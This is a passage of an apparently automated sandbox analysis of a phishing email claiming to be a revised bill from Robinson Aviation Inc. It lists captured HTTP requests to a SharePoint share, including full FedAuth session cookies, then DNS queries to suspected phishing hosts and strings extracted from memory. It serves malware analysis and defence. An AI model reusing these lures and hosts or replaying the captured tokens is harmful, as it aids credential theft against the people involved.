F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1 HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/v2.1/graphql HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?ffeaa556177bb91ba362ea6b028c500b HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c5dd5a98c578a9195f6b31741c6f0004 HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?ffeaa556177bb91ba362ea6b028c500b HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c5dd5a98c578a9195f6b31741c6f0004 HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ipmdoctor-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: ipmdoctor.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: westus31-mediap.svc.ms
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: config.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev
Source: global traffic	DNS traffic detected: DNS query: fowlervillefd.top
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: o365.alnassers.net
Source: global traffic	DNS traffic detected: DNS query: 4d44d9530e0671627ddff7d141d541b2.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: outlook.office.com
Source: global traffic	DNS traffic detected: DNS query: tr-ofc-mira.office.com
Source: global traffic	DNS traffic detected: DNS query: upload.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: spo.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: 0d28bfe39e08edd7e233d969816cb7d1.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 19:01:42 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8def92cd7bd16b65-DFW

Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: chromecache_918.11.dr, chromecache_770.11.dr, chromecache_1079.11.dr, chromecache_787.11.dr, chromecache_1125.11.dr, chromecache_1134.11.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg	String found in binary or memory: http://schema.org
Source: ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: http://tuna-dogfish-x4gm.squarespace.com/.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: chromecache_992.11.dr, chromecache_924.11.dr, chromecache_984.11.dr	String found in binary or memory: http://www.contoso.com
Source: chromecache_787.11.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_1008.11.dr	String found in binary or memory: http://www.unicode.org/copyright.html
Source: ~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	String found in binary or memory: http://www.welgaardcpa.com/
Source: chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_955.11.dr	String found in binary or memory: https://1drv.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: chromecache_1124.11.dr	String found in binary or memory: https://amazon.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.aadrm.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.microsoftstream.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.office.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://api.scheduler.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://app.powerbi.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://augloop.office.com
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://canary.designerapp.
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/fonts
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-assets
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-dynamic-strings
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-home-screen
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-toolbar
Source: 685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	String found in binary or memory: https://cdn.entity.
